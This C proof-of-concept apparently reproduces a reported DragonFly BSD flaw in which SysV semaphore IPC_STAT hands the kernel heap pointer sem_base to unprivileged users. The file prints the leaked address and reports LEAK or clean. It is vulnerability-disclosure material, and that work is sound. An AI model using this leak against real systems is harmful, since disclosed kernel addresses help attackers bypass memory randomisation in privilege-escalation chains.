DF-2783 / ipcstat_leak.c
/* * DF-2783 - SysV IPC_STAT/SEM_STAT discloses the kernel heap pointer * sem_base to unprivileged users. * * sys/kern/sysv_sem.c:431 and :450 copy out `semaptr->ds` * (struct semid_ds) verbatim. struct semid_ds.sem_base is a live * kernel pointer to the M_SEM allocation backing the semaphore set. * Any process holding IPC_R (e.g. its own semaphore set) reads it. * * Success criterion: printed sem_base is a non-NULL kernel text/heap * address, stable in form across runs. */ #include <sys/types.h> #include <sys/ipc.h> #include <sys/sem.h> #include <stdio.h> #include <unistd.h> #include <errno.h> #include <string.h> /* union semun is not defined by default for strict users */ union semun_u { int val; struct semid_ds *buf; unsigned short *array; }; static union semun_u u; int main(void) { struct semid_ds ds; int id, v; id = semget(IPC_PRIVATE, 3, 0600); if (id < 0) { perror("semget"); return 1; } u.buf = &ds; if (semctl(id, 0, IPC_STAT, u) < 0) { perror("semctl(IPC_STAT)"); return 1; } printf("IPC_STAT : sem_base=%p nsems=%u mode=%o\n", ds.sem_base, ds.sem_nsems, ds.sem_perm.mode); /* * SEM_STAT is dead code on DragonFly: the pre-switch seq check * (sysv_sem.c:376-380) rejects a bare array index (its seq bits * are 0 != perm.seq), while the in-case check (sysv_sem.c:441) * rejects the full IPC id. It can only succeed in the rare * window where perm.seq == 0. Record the observed error. */ if (semctl(id & 0xffff, 0, SEM_STAT, u) < 0) printf("SEM_STAT : %s (dead command: seq/index checks " "are mutually exclusive)\n", strerror(errno)); else printf("SEM_STAT : sem_base=%p nsems=%u mode=%o\n", ds.sem_base, ds.sem_nsems, ds.sem_perm.mode); v = (ds.sem_base != NULL); printf("%s: kernel pointer %s to uid=%d\n", v ? "LEAK" : "clean", v ? "disclosed" : "zeroed", getuid()); semctl(id, 0, IPC_RMID, u); return v ? 0 : 2; } |